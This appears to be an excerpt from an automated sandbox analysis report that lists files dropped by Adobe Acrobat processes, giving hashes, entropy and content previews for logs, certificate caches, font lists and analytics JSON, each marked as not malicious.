SSDEEP:	6:iO4q5ZQL+q2PcNwi2nKuAl9OmbzNMxIFUtSq5n9SG1Zmwsq5n9SQLVkwOcNwi2nv:7VVvLZHAa8jFUtR9SG1/X9SI54ZHAa8E
MD5:	256799CCF44781F272286CB2F2B0BA7D
SHA1:	91D2F54E2B24E77EEC660D653BAB4E12DD064EE4
SHA-256:	5D2818E1EAEF245CBEBE989B28B0DD6FF4A42B5F71F4B6B805F194C3505F222D
SHA-512:	0467F8F55AA5350F35B61B0AD7A439B326B5720F1221ABFF2BA380690E7C085970BDE6C4AE690C671A7CAA82C99331FC73D1674B5E6BD6A03BB0E15388836BFA
Malicious:	false
Preview:	2025/01/10-23:15:10.074 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:15:10.075 1fc8 Recovering log #3.2025/01/10-23:15:10.075 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.167616911200293
Encrypted:	false
SSDEEP:	6:iO4q5ZQL+q2PcNwi2nKuAl9OmbzNMxIFUtSq5n9SG1Zmwsq5n9SQLVkwOcNwi2nv:7VVvLZHAa8jFUtR9SG1/X9SI54ZHAa8E
MD5:	256799CCF44781F272286CB2F2B0BA7D
SHA1:	91D2F54E2B24E77EEC660D653BAB4E12DD064EE4
SHA-256:	5D2818E1EAEF245CBEBE989B28B0DD6FF4A42B5F71F4B6B805F194C3505F222D
SHA-512:	0467F8F55AA5350F35B61B0AD7A439B326B5720F1221ABFF2BA380690E7C085970BDE6C4AE690C671A7CAA82C99331FC73D1674B5E6BD6A03BB0E15388836BFA
Malicious:	false
Preview:	2025/01/10-23:15:10.074 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:15:10.075 1fc8 Recovering log #3.2025/01/10-23:15:10.075 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438556138779927
Encrypted:	false
SSDEEP:	384:yeaci5GCiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1yurVgazUpUTTGt
MD5:	C03DB1C7030651BC921089FB486DE9D5
SHA1:	B46977A215519DB1694091D4E7A71BB44D64E6B8
SHA-256:	2B4F36BB4D5B7DD9FCA8A392173D7454E58F90FE83995212BBE93C9EF67EB747
SHA-512:	5A1C3B5F05426DA20A216EE28248B0F3DC220FF5DA6EF44D0C0DD0A3456893EC52687A841694AF74F6C6ABF805150400E1555068F04A0671069BD353ECD27107
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7717761216453503
Encrypted:	false
SSDEEP:	48:7MBup/E2ioyVQioy3DoWoy1CABoy1cKOioy1noy1AYoy1Wioy1hioybioy6oy1nb:73pjuQ0iAUXKQDub9IVXEBodRBki
MD5:	FD8C48EA028B7BB9642F17AAD40B7B72
SHA1:	D762D4B39EEBA5B90491B5B5AF21772A68623E56
SHA-256:	F4BF8E82F5CF9BFC1D51C1BDE19AB0FEE0F83A27D5744121EB16EB9AD4AAFD8F
SHA-512:	811F3B5A2FA02392117BBCBC1541A54E349CB79C343575A32E28F2491EEE3E58F590E0043058705DF559B5B4E18B7B46F5FECEAA52735571AE5968011F0E9DFD
Malicious:	false
Preview:	.... .c....../.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklSrMl/tfllXlE/HT8kRJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKLoteT8wJdNMa8RdWBwRd
MD5:	E611BE50CCD63C62D9A8EDADF8CD3BE5
SHA1:	3EC71D74858075D2A58E63A6726903F90ED7F30D
SHA-256:	F760B4DDF678CDC065DA62D3BD4B68EC113E5E6950F5D5B520B28E9CC9340CFB
SHA-512:	6D224400CCC0F151D5DA1E50772B52874C71A308A39DC0AA2EB6CD0C806C237BABF37B270DB5252AE0821A9F112AD81D9FA7ACF81B26535A284A33AE50021661
Malicious:	false
Preview:	p...... .........f.k.c..(....................................................... ..........W....1w..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKlyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NyiDImsLNkPlE99SNxAhUe/3
MD5:	9A6ADCB1E65CD4AB24F9660E674A38D9
SHA1:	C382B2C43AB5DA63FBAF26CEC61A9D08A9650A2B
SHA-256:	FF19688CA74F337418CBA4FE9016A8D60247D9DA0D8E324A50F9AB7533DC448D
SHA-512:	5DFCE6BF77679EC1444E1723F5FF89600A276650FD327AE85323F060ECA1873F5DF0D537A64640ED9E04A79FD6EC45069FCCC3DF7157A56BD3DB62826E4F3605
Malicious:	false
Preview:	p...... ...........~.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7692

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7692

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.388748387776732
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJM3g98kUwPeUkwRe9:YvXKXS1bsdTeOEGMbLUkee9
MD5:	00745E60CC6A731A6381AA98F0945DF2
SHA1:	A01E0149DE3130C90F6A9166D0663A00BF228E40
SHA-256:	CDD8D76BD4A4B7E3714E3D2BA3E3ADD268014AA0F18990024DFEF44F6EC1511E
SHA-512:	7DE3B027E04990A2E2B7542A7243AB9A85DD5294002CF48022E6CC35D7B2A86D9F3E38A24C597E5B50C1E016C06555247370129B7E82A8DEA3BFA0FDAC0EB339
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325709226999148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfBoTfXpnrPeUkwRe9:YvXKXS1bsdTeOEGWTfXcUkee9
MD5:	72336E64D1C5599CF77E48AE4676BBF1
SHA1:	3EB3BCAF4DD4800EB8A63BA130CC865AE6A7B661
SHA-256:	BE998EB35AACC73BBD91CF7AF3ECF14322E1AD2A9B5A5B13947111E13BBEC521
SHA-512:	652E62AEFE62AB39C20255EDF2A027744F9A54FC89CEA14E4F9F48427C0FDBBED213691EAC10E1FDB94DBD668E9E13A2B7543110CC77A6C59782388E404D6FFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303968722356956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfBD2G6UpnrPeUkwRe9:YvXKXS1bsdTeOEGR22cUkee9
MD5:	76510B3745F1AE021931AA3A59CDB242
SHA1:	7A834C911C5EFF96B2ED4D8EA31A732C7F949333
SHA-256:	1B7C5777231D97E0FD319745A0EC4F28334D628902AA935016FE41202031133D
SHA-512:	18550C6870377D2C1F33B50CF90D0C545FE4F06B50939154B42B96511EAD3D546622E5A428F7E320A150E544392B537478B5D867B5D24A58721E77769235119C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.376517392737145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfPmwrPeUkwRe9:YvXKXS1bsdTeOEGH56Ukee9
MD5:	A21E91490636AB954B7463D4D4B644C0
SHA1:	07BE1A3131A0038F760500460F95CA23C2570429
SHA-256:	F3C71EAA8B0B653C1A3EA35A969B5A71EC47B534DC18E83190BC5EA948F7D89A
SHA-512:	101B77F018D44D15761F19DB61C31B573054B6304649297BE7ADAEF46F3F9EEE283ECB4C51F17F5AC789A7FB11D3A4A80FABB81F06D2E21CF19CB3FE0F113F65
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695829711480459
Encrypted:	false
SSDEEP:	24:Yv6XcmeOBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSF1:YvueKhgy6SAFv5Ah8cv/F1
MD5:	C0A01BC7ECA33704B0F3BEDEF9C1C380
SHA1:	C7C9013F54CA2A5070FE44AB95BCA665DE52EDBC
SHA-256:	DC63C630FA88F66E34911A75D2A2BC76260326D084B7FEFAC8B83AB608F6023E
SHA-512:	E0DD632D9FB25E1700DD2CD7E21D3338430A7ECF5F20BC174984B8F98A8CC3A6C48367D3EB5C0C1F706882F3139BB10DD028D7016565C8DB485861E320E0FA06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313052456324756
Encrypted:	false
